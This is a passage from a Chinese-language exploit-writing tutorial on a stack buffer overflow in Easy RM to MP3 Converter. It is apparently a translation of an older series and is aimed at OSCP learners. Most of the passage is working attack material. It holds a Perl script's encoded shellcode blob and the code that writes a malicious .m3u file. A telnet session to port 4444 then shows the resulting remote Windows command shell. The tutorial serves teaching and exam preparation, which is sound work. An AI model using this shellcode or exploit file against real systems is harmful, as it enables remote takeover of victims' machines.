"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
"\x47\x43\x43\x47\x42\x51\x4f\x50\x54\x4b\x4f\x48\x50\x42" .
"\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x50\x50\x4b\x4f\x48" .
"\x56\x51\x4f\x4d\x59\x4d\x35\x45\x36\x4b\x31\x4a\x4d\x43" .
"\x38\x43\x32\x46\x35\x43\x5a\x44\x42\x4b\x4f\x4e\x30\x42" .
"\x48\x48\x59\x45\x59\x4c\x35\x4e\x4d\x50\x57\x4b\x4f\x48" .
"\x56\x46\x33\x46\x33\x46\x33\x50\x53\x50\x53\x50\x43\x51" .
"\x43\x51\x53\x46\x33\x4b\x4f\x4e\x30\x43\x56\x45\x38\x42" .
"\x31\x51\x4c\x42\x46\x46\x33\x4c\x49\x4d\x31\x4a\x35\x42" .
"\x48\x4e\x44\x44\x5a\x44\x30\x49\x57\x50\x57\x4b\x4f\x48" .
"\x56\x43\x5a\x44\x50\x50\x51\x51\x45\x4b\x4f\x4e\x30\x43" .
"\x58\x49\x34\x4e\x4d\x46\x4e\x4b\x59\x50\x57\x4b\x4f\x4e" .
"\x36\x50\x53\x46\x35\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x50" .
"\x49\x4d\x56\x50\x49\x51\x47\x4b\x4f\x48\x56\x50\x50\x50" .
"\x54\x50\x54\x46\x35\x4b\x4f\x48\x50\x4a\x33\x45\x38\x4a" .
"\x47\x44\x39\x48\x46\x43\x49\x50\x57\x4b\x4f\x48\x56\x50" .
"\x55\x4b\x4f\x48\x50\x42\x46\x42\x4a\x42\x44\x45\x36\x45" .
"\x38\x45\x33\x42\x4d\x4d\x59\x4b\x55\x42\x4a\x46\x30\x50" .
"\x59\x47\x59\x48\x4c\x4b\x39\x4a\x47\x43\x5a\x50\x44\x4b" .
"\x39\x4b\x52\x46\x51\x49\x50\x4c\x33\x4e\x4a\x4b\x4e\x47" .
"\x32\x46\x4d\x4b\x4e\x51\x52\x46\x4c\x4d\x43\x4c\x4d\x42" .
"\x5a\x50\x38\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x42\x52\x4b" .
"\x4e\x4e\x53\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x49" .
"\x46\x51\x4b\x46\x37\x46\x32\x50\x51\x50\x51\x46\x31\x42" .
"\x4a\x45\x51\x46\x31\x46\x31\x51\x45\x50\x51\x4b\x4f\x48" .
"\x50\x43\x58\x4e\x4d\x4e\x39\x45\x55\x48\x4e\x51\x43\x4b" .
"\x4f\x49\x46\x43\x5a\x4b\x4f\x4b\x4f\x47\x47\x4b\x4f\x48" .
"\x50\x4c\x4b\x46\x37\x4b\x4c\x4c\x43\x49\x54\x45\x34\x4b" .
"\x4f\x4e\x36\x50\x52\x4b\x4f\x48\x50\x43\x58\x4c\x30\x4c" .
"\x4a\x44\x44\x51\x4f\x46\x33\x4b\x4f\x48\x56\x4b\x4f\x48" .
"\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

  创建这个 m3u文件,在程序中打开它。看起来现在 Easy RM to MP3 暂停了:

image

image

  Telnet 连接这个机器的 4444端口:

1
2
3
4
5
6
7
8
root@bt:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\Easy RM to MP3 Converter>

  完成!

  现在去构造你自己的 exploit 吧!


  第一篇的内容就到这里了,虽然是 9年前的内容,但里面的很多东西到现在也在使用,值得我们多多学习。这篇的内容极其适合需要考 OSCP 的同学, 但是根据作者的内容练手不是特别方便,大家可以百度或谷歌 windwos SLmail缓冲区溢出 的文章来练手学习,只需要 python 等简单的环境。

  关于文章的更新:作者写了十多篇教程,我会逐渐更新下去,对我也是一种学习,但是时间的话就有点随缘了,最近手上的坑很多,慢慢填吧。